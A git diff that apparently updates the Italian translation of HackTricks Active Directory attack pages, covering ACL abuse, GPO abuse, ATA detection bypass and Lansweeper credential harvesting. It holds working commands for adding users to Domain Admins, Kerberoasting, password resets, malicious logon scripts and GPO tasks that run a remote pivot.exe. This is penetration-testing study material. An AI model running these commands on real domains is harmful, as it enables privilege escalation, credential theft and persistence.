- Il rischio di attacchi che sfruttano l'attributo SID history across forest trusts è mitigato da SID Filtering, che è attivato di default su tutti gli inter-forest trusts. Questo si basa sull'assunzione che gli intra-forest trusts siano sicuri, considerando la forest, piuttosto che il domain, come confine di sicurezza secondo la posizione di Microsoft.
- Tuttavia, c'è un problema: SID filtering potrebbe interrompere applicazioni e l'accesso degli utenti, portando alla sua disattivazione occasionale.
+- Il rischio di attacchi che sfruttano l'attributo SIDHistory attraverso forest trusts è mitigato da SID Filtering, che è attivato di default in tutti gli inter-forest trusts. Questo si basa sull'assunto che i trust intra-forest siano sicuri, considerando la forest, piuttosto che il domain, come confine di sicurezza secondo la posizione di Microsoft.
+- Tuttavia, c'è un problema: SID filtering potrebbe interrompere applicazioni e accessi utente, portando alla sua disattivazione occasionale.

 ### **Selective Authentication:**

- Per gli inter-forest trusts, l'uso di Selective Authentication assicura che gli utenti delle due forest non siano automaticamente autenticati. Invece, sono richieste autorizzazioni esplicite affinché gli utenti possano accedere a domain e server all'interno del trusting domain o della forest.
- È importante notare che queste misure non proteggono contro lo sfruttamento del writable Configuration Naming Context (NC) né contro attacchi al trust account.
+- Per gli inter-forest trusts, l'uso di Selective Authentication assicura che gli utenti delle due forest non siano autenticati automaticamente. Invece, sono richieste autorizzazioni esplicite affinché gli utenti possano accedere a domini e server all'interno del domain o della forest che effettua il trusting.
+- È importante notare che queste misure non proteggono contro lo sfruttamento del writable Configuration Naming Context (NC) o attacchi sull'account di trust.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -773,27 +773,27 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move

 ### **Defensive Measures for Credential Protection**

- **Domain Admins Restrictions**: Si raccomanda che i Domain Admins siano autorizzati a fare il login solo sui Domain Controllers, evitando il loro utilizzo su altri host.
- **Service Account Privileges**: I servizi non dovrebbero essere eseguiti con privilegi Domain Admin (DA) per mantenere la sicurezza.
- **Temporal Privilege Limitation**: Per le attività che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Domain Admins Restrictions**: Si raccomanda che i Domain Admins possano effettuare il login solo sui Domain Controllers, evitando il loro utilizzo su altri host.
+- **Service Account Privileges**: I servizi non dovrebbero girare con privilegi di Domain Admin (DA) per mantenere la sicurezza.
+- **Temporal Privilege Limitation**: Per i task che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Implementing Deception Techniques**
+### **Implementazione di Deception Techniques**

- Implementare deception comporta l'impostazione di trappole, come decoy users o computers, con caratteristiche quali password che non scadono o marcati come Trusted for Delegation. Un approccio dettagliato include la creazione di users con diritti specifici o l'aggiunta agli high privilege groups.
+- Implementare deception comporta impostare trappole, come utenti o computer esca, con caratteristiche come password che non scadono o che sono segnati come Trusted for Delegation. Un approccio dettagliato include la creazione di utenti con diritti specifici o l'aggiunta a gruppi ad alto privilegio.
 - Un esempio pratico prevede l'uso di strumenti come: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Maggiori dettagli sul deploy di tecniche di deception sono disponibili su [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- Maggiori informazioni sul deployment di tecniche di deception sono disponibili su [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

 ### **Identifying Deception**

- **For User Objects**: Indicatori sospetti includono ObjectSID atipico, logon poco frequenti, date di creazione e basso conteggio di bad password.
- **General Indicators**: Confrontare gli attributi di oggetti potenzialmente decoy con quelli degli oggetti genuini può rivelare incoerenze. Strumenti come [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) possono aiutare nell'identificazione di tali deception.
+- **For User Objects**: Indicatori sospetti includono ObjectSID atipici, logon poco frequenti, date di creazione e basso numero di bad password.
+- **General Indicators**: Confrontare gli attributi di potenziali oggetti esca con quelli di oggetti genuini può rivelare incongruenze. Strumenti come [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) possono aiutare a identificare tali deception.

 ### **Bypassing Detection Systems**

 - **Microsoft ATA Detection Bypass**:
-  - **User Enumeration**: Evitare la session enumeration sui Domain Controllers per prevenire il rilevamento da parte di ATA.
-  - **Ticket Impersonation**: Utilizzare chiavi **aes** per la creazione dei ticket aiuta a eludere il rilevamento non effettuando il downgrade a NTLM.
-  - **DCSync Attacks**: Eseguire da un non-Domain Controller per evitare il rilevamento da parte di ATA è consigliato, poiché l'esecuzione diretta da un Domain Controller genererà alert.
+- **User Enumeration**: Evitare l'enumerazione delle sessioni sui Domain Controllers per prevenire il rilevamento da parte di ATA.
+- **Ticket Impersonation**: Utilizzare chiavi **aes** per la creazione di ticket aiuta a eludere il rilevamento non degradando a NTLM.
+- **DCSync Attacks**: Eseguire da una macchina non Domain Controller per evitare il rilevamento da parte di ATA è consigliato, poiché l'esecuzione diretta da un Domain Controller genererà alert.

 ## Riferimenti

--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -2,7 +2,7 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**Questa pagina è principalmente un riassunto delle tecniche tratte da** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Per maggiori dettagli, consultare gli articoli originali.**
+**Questa pagina è per lo più un riepilogo delle tecniche da** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Per maggiori dettagli, consultare gli articoli originali.**

 ## BadSuccessor

@ -11,24 +11,24 @@
 BadSuccessor.md
 {{#endref}}

-## **GenericAll Rights on User**
+## **Diritti GenericAll su un utente**

-Questo privilegio concede a un attaccante il controllo completo su un account utente target. Una volta confermati i diritti `GenericAll` usando il comando `Get-ObjectAcl`, un attaccante può:
+Questo privilegio concede a un attacker il controllo completo su un account utente target. Una volta che i diritti `GenericAll` sono confermati usando il comando `Get-ObjectAcl`, un attacker può:

- **Cambiare la password dell'account target**: usando `net user <username> <password> /domain`, l'attaccante può resettare la password dell'utente.
- **Targeted Kerberoasting**: Assegna un SPN all'account dell'utente per renderlo kerberoastable, poi usa Rubeus e targetedKerberoast.py per estrarre e tentare di crackare gli hash del ticket-granting ticket (TGT).
+- **Cambiare la password del target**: Usando `net user <username> <password> /domain`, l'attacker può reimpostare la password dell'utente.
+- **Targeted Kerberoasting**: Assegnare un SPN all'account dell'utente per renderlo kerberoastable, poi usare Rubeus e targetedKerberoast.py per estrarre e tentare di crackare gli hash del ticket-granting ticket (TGT).
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Disabilita la pre-autenticazione per l'utente, rendendo il suo account vulnerabile ad ASREPRoasting.
+- **Targeted ASREPRoasting**: Disabilitare pre-authentication per l'utente, rendendo il loro account vulnerabile ad ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **Diritti GenericAll su un gruppo**
+## **GenericAll Rights on Group**

-Questo privilegio consente a un attaccante di manipolare le appartenenze al gruppo se dispone dei diritti `GenericAll` su un gruppo come `Domain Admins`. Dopo aver identificato il distinguished name del gruppo con `Get-NetGroup`, l'attaccante può:
+Questo privilegio permette a un attaccante di manipolare le appartenenze ai gruppi se dispone dei diritti `GenericAll` su un gruppo come `Domain Admins`. Dopo aver identificato il distinguished name del gruppo con `Get-NetGroup`, l'attaccante può:

 - **Aggiungersi al gruppo Domain Admins**: Questo può essere fatto tramite comandi diretti o utilizzando moduli come Active Directory o PowerSploit.
 ```bash
@ -36,7 +36,7 @@ net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Da Linux puoi anche sfruttare BloodyAD per aggiungerti a gruppi arbitrari quando detieni GenericAll/Write membership su di essi. Se il gruppo target è annidato in “Remote Management Users”, otterrai immediatamente accesso WinRM sugli host che rispettano quel gruppo:
+- Da Linux puoi anche sfruttare BloodyAD per aggiungerti a gruppi arbitrari quando possiedi l'appartenenza GenericAll/Write su di essi. Se il gruppo target è annidato in “Remote Management Users”, otterrai immediatamente accesso WinRM sugli host che rispettano quel gruppo:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -48,33 +48,33 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'

 Il possesso di questi privilegi su un oggetto computer o su un account utente consente di:

- **Kerberos Resource-based Constrained Delegation**: Consente di prendere il controllo di un oggetto computer.
- **Shadow Credentials**: Usare questa tecnica per impersonare un account computer o utente sfruttando i privilegi per creare shadow credentials.
+- **Kerberos Resource-based Constrained Delegation**: Permette di prendere il controllo di un oggetto computer.
+- **Shadow Credentials**: Consente di impersonare un computer o un account utente sfruttando i privilegi per creare shadow credentials.

 ## **WriteProperty on Group**

-Se un utente ha `WriteProperty` diritti su tutti gli oggetti di un gruppo specifico (es., `Domain Admins`), può:
+Se un utente ha i diritti `WriteProperty` su tutti gli oggetti di un gruppo specifico (es. `Domain Admins`), può:

- **Add Themselves to the Domain Admins Group**: Raggiungibile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo permette l'escalation di privilegi all'interno del dominio.
+- **Aggiungersi al gruppo Domain Admins**: Realizzabile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo consente l'escalation di privilegi all'interno del dominio.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Self (Self-Membership) on Group**

-Questo privilegio permette agli aggressori di aggiungere se stessi a gruppi specifici, come `Domain Admins`, tramite comandi che manipolano direttamente l'appartenenza ai gruppi. L'uso della seguente sequenza di comandi consente l'auto-aggiunta:
+Questo privilegio consente agli attaccanti di aggiungere se stessi a gruppi specifici, come `Domain Admins`, tramite comandi che manipolano direttamente l'appartenenza al gruppo. L'uso della seguente sequenza di comandi permette l'auto-aggiunta:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Un privilegio simile, consente agli attaccanti di aggiungere direttamente se stessi ai gruppi modificando le proprietà dei gruppi se possiedono il diritto `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono effettuate con:
+Un privilegio simile, questo consente agli attaccanti di aggiungersi direttamente ai gruppi modificando le proprietà dei gruppi se hanno il diritto `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono effettuate con:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Mantenere il `ExtendedRight` su un utente per `User-Force-Change-Password` permette di reimpostare la password senza conoscere quella attuale. La verifica di questo diritto e il suo sfruttamento possono essere eseguiti tramite PowerShell o altri strumenti da riga di comando, offrendo diversi metodi per resettare la password di un utente, incluse sessioni interattive e one-liners per ambienti non interattivi. I comandi variano da semplici invocazioni PowerShell all'uso di `rpcclient` su Linux, dimostrando la versatilità dei vettori d'attacco.
+Il possesso dell'`ExtendedRight` su un utente per `User-Force-Change-Password` consente il reset della password senza conoscere quella corrente. La verifica di questo diritto e il suo sfruttamento possono essere effettuati tramite PowerShell o altri strumenti da riga di comando, offrendo diversi metodi per reimpostare la password di un utente, incluse sessioni interattive e one-liners per ambienti non interattivi. I comandi spaziano da semplici invocazioni di PowerShell all'uso di `rpcclient` su Linux, dimostrando la versatilità dei vettori di attacco.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner sul gruppo**
+## **WriteOwner su un gruppo**

-Se un attaccante scopre di avere i diritti `WriteOwner` su un gruppo, può cambiare la proprietà del gruppo a proprio favore. Questo è particolarmente impattante quando il gruppo in questione è `Domain Admins`, poiché cambiare il proprietario permette un controllo più ampio sugli attributi del gruppo e sulla membership. Il processo prevede l'identificazione dell'oggetto corretto tramite `Get-ObjectAcl` e quindi l'uso di `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che tramite nome.
+Se un attaccante scopre di avere i diritti `WriteOwner` su un gruppo, può trasferire la proprietà del gruppo a sé stesso. Questo è particolarmente rilevante quando il gruppo in questione è `Domain Admins`, poiché cambiare il proprietario consente un controllo più ampio sugli attributi del gruppo e sui suoi membri. Il processo prevede l'identificazione dell'oggetto corretto tramite `Get-ObjectAcl` e quindi l'uso di `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che mediante nome.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**

-Questa autorizzazione permette a un attaccante di modificare le proprietà di un utente. In particolare, con accesso `GenericWrite`, l'attaccante può cambiare il percorso dello script di logon di un utente per eseguire uno script dannoso al momento del logon dell'utente. Ciò si ottiene usando il comando `Set-ADObject` per aggiornare la proprietà `scriptpath` dell'utente target in modo che punti allo script dell'attaccante.
+Questa autorizzazione permette a un attacker di modificare le proprietà dell'utente. Nello specifico, con accesso `GenericWrite` l'attacker può cambiare il percorso dello script di logon di un utente per eseguire uno script malevolo al momento del logon dell'utente. Questo si ottiene usando il comando `Set-ADObject` per aggiornare la proprietà `scriptpath` dell'utente target in modo che punti allo script dell'attacker.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Con questo privilegio, gli attaccanti possono manipolare l'appartenenza ai gruppi, ad esempio aggiungendo se stessi o altri utenti a gruppi specifici. Questo processo prevede la creazione di un oggetto di credenziale, il suo utilizzo per aggiungere o rimuovere utenti da un gruppo e la verifica delle modifiche all'appartenenza tramite comandi PowerShell.
+Con questo privilegio, gli attaccanti possono manipolare l'appartenenza ai gruppi, ad esempio aggiungendo se stessi o altri utenti a gruppi specifici. Questo processo comporta la creazione di un oggetto credenziale, il suo utilizzo per aggiungere o rimuovere utenti da un gruppo e la verifica delle modifiche all'appartenenza con comandi PowerShell.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Possedere un oggetto AD e avere i privilegi `WriteDACL` su di esso consente a un attacker di concedersi i privilegi `GenericAll` sull'oggetto. Questo viene realizzato tramite la manipolazione di ADSI, permettendo il pieno controllo sull'oggetto e la possibilità di modificare le sue appartenenze ai gruppi. Nonostante ciò, esistono limitazioni nel cercare di sfruttare questi privilegi usando i cmdlet `Set-Acl` / `Get-Acl` del modulo Active Directory.
+Possedere un AD object e avere i privilegi `WriteDACL` su di esso consente a un attacker di concedersi privilegi `GenericAll` sull'oggetto. Questo viene ottenuto tramite manipolazione ADSI, permettendo il controllo completo sull'oggetto e la possibilità di modificare le sue membership di gruppo. Nonostante ciò, esistono limitazioni nel tentativo di sfruttare questi privilegi usando i cmdlet `Set-Acl` / `Get-Acl` del modulo Active Directory.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
 $ADSI.psbase.commitchanges()
 ```
-## **Replicazione nel dominio (DCSync)**
+## **Replica nel Dominio (DCSync)**

-L'attacco DCSync sfrutta permessi di replicazione specifici nel dominio per impersonare un Domain Controller e sincronizzare dati, incluse le credenziali degli utenti. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, permettendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
+L'attacco DCSync sfrutta permessi di replica specifici nel dominio per mimare un Domain Controller e sincronizzare i dati, incluse le credenziali utente. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, che permettono agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)

 ## Delega GPO <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### Delega GPO

-L'accesso delegato per gestire Group Policy Objects (GPOs) può rappresentare rischi di sicurezza significativi. Per esempio, se a un utente come `offense\spotless` vengono delegati i diritti di gestione GPO, potrebbe avere privilegi come **WriteProperty**, **WriteDacl**, e **WriteOwner**. Questi permessi possono essere abusati per scopi maligni, come evidenziato usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+L'accesso delegato per gestire Group Policy Objects (GPO) può comportare rischi di sicurezza significativi. Per esempio, se a un utente come `offense\spotless` vengono delegati i diritti di gestione delle GPO, potrebbe avere privilegi come **WriteProperty**, **WriteDacl** e **WriteOwner**. Questi permessi possono essere abusati per scopi malevoli, come identificabile con PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-### Enumerare i permessi GPO
+### Enumerare i permessi delle GPO

-Per identificare GPO mal configurati, i cmdlet di PowerSploit possono essere concatenati. Questo permette di scoprire i GPO che un utente specifico può gestire: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Per identificare GPO mal configurate, i cmdlet di PowerSploit possono essere concatenati. Questo permette di scoprire le GPO che un utente specifico può gestire: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Computer con una data policy applicata**: È possibile risolvere a quali computer si applica uno specifico GPO, aiutando a comprendere la portata dell'impatto potenziale. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Computer a cui è applicata una data GPO**: È possibile risolvere quali computer sono interessati da una specifica GPO, aiutando a comprendere l'ambito dell'impatto potenziale. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Policy applicate a un dato computer**: Per vedere quali policy sono applicate a un particolare computer, possono essere utilizzati comandi come `Get-DomainGPO`.
+**Policy applicate a un dato computer**: Per vedere quali policy sono applicate a un determinato computer, si possono usare comandi come `Get-DomainGPO`.

-**OU con una data policy applicata**: Identificare le Organizational Units (OU) interessate da una determinata policy può essere fatto usando `Get-DomainOU`.
+**OU a cui è applicata una data policy**: Identificare le organizational units (OU) interessate da una data policy può essere fatto usando `Get-DomainOU`.

-Puoi anche usare lo strumento [**GPOHound**](https://github.com/cogiceo/GPOHound) per enumerare i GPO e trovare problemi in essi.
+Puoi anche usare lo strumento [**GPOHound**](https://github.com/cogiceo/GPOHound) per enumerare le GPO e trovare problemi in esse.

-### Abuso GPO - New-GPOImmediateTask
+### Abuso delle GPO - New-GPOImmediateTask

-GPO mal configurati possono essere sfruttati per eseguire codice, ad esempio creando un task pianificato immediato. Questo può essere usato per aggiungere un utente al gruppo degli amministratori locali sulle macchine interessate, elevando significativamente i privilegi:
+GPO mal configurate possono essere sfruttate per eseguire codice, per esempio creando un scheduled task immediato. Questo può essere usato per aggiungere un utente al gruppo degli amministratori locali sulle macchine interessate, elevando significativamente i privilegi:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-Il GroupPolicy module, se installato, permette la creazione e il collegamento di nuove GPOs e l'impostazione di preferenze, come valori del registro, per eseguire backdoors sui computer interessati. Questo metodo richiede che la GPO venga aggiornata e che un utente acceda al computer affinché l'esecuzione avvenga:
+Il GroupPolicy module, se installato, permette la creazione e il collegamento di nuovi GPOs e l'impostazione di preferenze come registry values per eseguire backdoors sui computer interessati. Questo metodo richiede che il GPO venga aggiornato e che un utente acceda al computer affinché avvenga l'esecuzione:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse offre un metodo per abusare di GPOs esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuovi GPOs. Questo strumento richiede la modifica di GPOs esistenti o l'uso di strumenti RSAT per crearne di nuovi prima di applicare le modifiche:
+SharpGPOAbuse offre un metodo per abusare di GPO esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuove GPO. Questo strumento richiede la modifica di GPO esistenti o l'uso degli strumenti RSAT per crearne di nuovi prima di applicare le modifiche:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
-### Forzare l'aggiornamento delle policy
+### Aggiorna la Policy forzatamente

-Gli aggiornamenti delle GPO avvengono tipicamente circa ogni 90 minuti. Per accelerare questo processo, soprattutto dopo aver effettuato una modifica, sul computer target può essere eseguito il comando `gpupdate /force` per forzare un aggiornamento immediato delle policy. Questo comando assicura che eventuali modifiche alle GPO vengano applicate senza attendere il prossimo ciclo di aggiornamento automatico.
+Gli aggiornamenti delle GPO avvengono tipicamente ogni circa 90 minuti. Per accelerare questo processo, specialmente dopo aver apportato una modifica, sul computer target può essere eseguito il comando `gpupdate /force` per forzare un aggiornamento immediato delle policy. Questo comando assicura che le modifiche alle GPO vengano applicate senza attendere il prossimo ciclo automatico di aggiornamento.

-### Dietro le quinte
+### Sotto il cofano

-Ispezionando gli Scheduled Tasks di una specifica GPO, come la `Misconfigured Policy`, si può confermare l'aggiunta di task come `evilTask`. Questi task vengono creati tramite script o strumenti da riga di comando con l'obiettivo di modificare il comportamento del sistema o scalare privilegi.
+Ispezionando le Scheduled Tasks per una data GPO, come la `Misconfigured Policy`, si può confermare l'aggiunta di task come `evilTask`. Queste attività vengono create tramite script o strumenti da riga di comando con l'obiettivo di modificare il comportamento del sistema o scalare privilegi.

-La struttura del task, come mostrato nel file di configurazione XML generato da `New-GPOImmediateTask`, descrive i dettagli del scheduled task — inclusi il comando da eseguire e i suoi trigger. Questo file rappresenta come i scheduled task sono definiti e gestiti all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'applicazione delle policy.
+La struttura della task, come mostrato nel file di configurazione XML generato da `New-GPOImmediateTask`, descrive i dettagli della scheduled task — incluso il comando da eseguire e i suoi trigger. Questo file rappresenta come le attività pianificate sono definite e gestite all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'applicazione delle policy.

-### Utenti e gruppi
+### Utenti e Gruppi

-Le GPO permettono anche la manipolazione delle appartenenze a utenti e gruppi sui sistemi target. Modificando direttamente i file di policy Users and Groups, un attaccante può aggiungere utenti a gruppi privilegiati, come il gruppo locale `administrators`. Ciò è possibile tramite la delega dei permessi di gestione delle GPO, che consente la modifica dei file di policy per includere nuovi utenti o cambiare le appartenenze ai gruppi.
+Le GPO consentono anche la manipolazione delle membership di utenti e gruppi sui sistemi target. Modificando direttamente i file di policy Users and Groups, un attaccante può aggiungere utenti a gruppi privilegiati, come il gruppo locale `administrators`. Questo è possibile grazie alla delega delle autorizzazioni di gestione delle GPO, che permette di modificare i file di policy per includere nuovi utenti o cambiare le membership dei gruppi.

-Il file di configurazione XML per Users and Groups delinea come queste modifiche vengono implementate. Aggiungendo voci a questo file, utenti specifici possono ricevere privilegi elevati sui sistemi interessati. Questo metodo offre un approccio diretto all'escalation di privilegi tramite la manipolazione delle GPO.
+Il file di configurazione XML per Users and Groups illustra come queste modifiche vengono implementate. Aggiungendo voci a questo file, utenti specifici possono ottenere privilegi elevati sui sistemi interessati. Questo metodo offre un approccio diretto all'escalation dei privilegi tramite la manipolazione delle GPO.

-Inoltre, possono essere considerate ulteriori tecniche per eseguire codice o mantenere persistenza, come l'uso di script di logon/logoff, la modifica di chiavi di registro per autorun, l'installazione di software tramite file .msi, o la modifica delle configurazioni dei servizi. Queste tecniche forniscono diverse vie per mantenere l'accesso e controllare i sistemi target tramite l'abuso delle GPO.
+Inoltre, si possono considerare ulteriori metodi per eseguire codice o mantenere la persistenza, come sfruttare script di logon/logoff, modificare chiavi del registro per autoruns, installare software tramite file .msi o modificare le configurazioni dei servizi. Queste tecniche offrono varie vie per mantenere l'accesso e controllare i sistemi target attraverso l'abuso delle GPO.

 ## Riferimenti

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,27 +1,27 @@
-# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Lansweeper Abuse: Raccolta credenziali, decrittazione dei segreti e RCE tramite Deployment

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper è una piattaforma di discovery e inventory degli asset IT comunemente distribuita su Windows e integrata con Active Directory. Le credenziali configurate in Lansweeper sono usate dai suoi scanning engines per autenticarsi agli asset tramite protocolli come SSH, SMB/WMI e WinRM. Configurazioni errate permettono frequentemente:
+Lansweeper è una piattaforma per il discovery e l'inventario degli asset IT comunemente distribuita su Windows e integrata con Active Directory. Le credenziali configurate in Lansweeper sono usate dai suoi motori di scansione per autenticarsi agli asset tramite protocolli come SSH, SMB/WMI e WinRM. Misconfigurazioni permettono frequentemente:

 - Intercettazione delle credenziali reindirizzando un Scanning Target verso un host controllato dall'attaccante (honeypot)
- Abuso delle AD ACLs esposte dai gruppi legati a Lansweeper per ottenere accesso remoto
- Decrittazione on-host dei secrets configurati in Lansweeper (connection strings e stored scanning credentials)
- Esecuzione di codice sugli endpoint gestiti tramite la feature Deployment (spesso eseguita come SYSTEM)
+- Abuso delle ACL di Active Directory esposte dai gruppi legati a Lansweeper per ottenere accesso remoto
+- Decrittazione on-host dei segreti configurati in Lansweeper (connection strings e credenziali di scanning memorizzate)
+- Esecuzione di codice su endpoint gestiti tramite la feature Deployment (spesso in esecuzione come SYSTEM)

-Questa pagina riassume workflow pratici dell'attaccante e comandi per abusare di questi comportamenti durante gli engagement.
+Questa pagina riassume workflow pratici dell'attaccante e comandi per sfruttare questi comportamenti durante gli engagement.

 ## 1) Harvest scanning credentials via honeypot (SSH example)

-Idea: crea un Scanning Target che punti al tuo host e associa le Scanning Credentials esistenti ad esso. Quando lo scan viene eseguito, Lansweeper tenterà di autenticarsi con quelle credenziali e il tuo honeypot le catturerà.
+Idea: crea uno Scanning Target che punti al tuo host e associa ad esso le Scanning Credentials esistenti. Quando la scansione verrà eseguita, Lansweeper tenterà di autenticarsi con quelle credenziali e il tuo honeypot le catturerà.

 Steps overview (web UI):
 - Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = your VPN IP
+- Type: IP Range (or Single IP) = il tuo IP VPN
 - Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
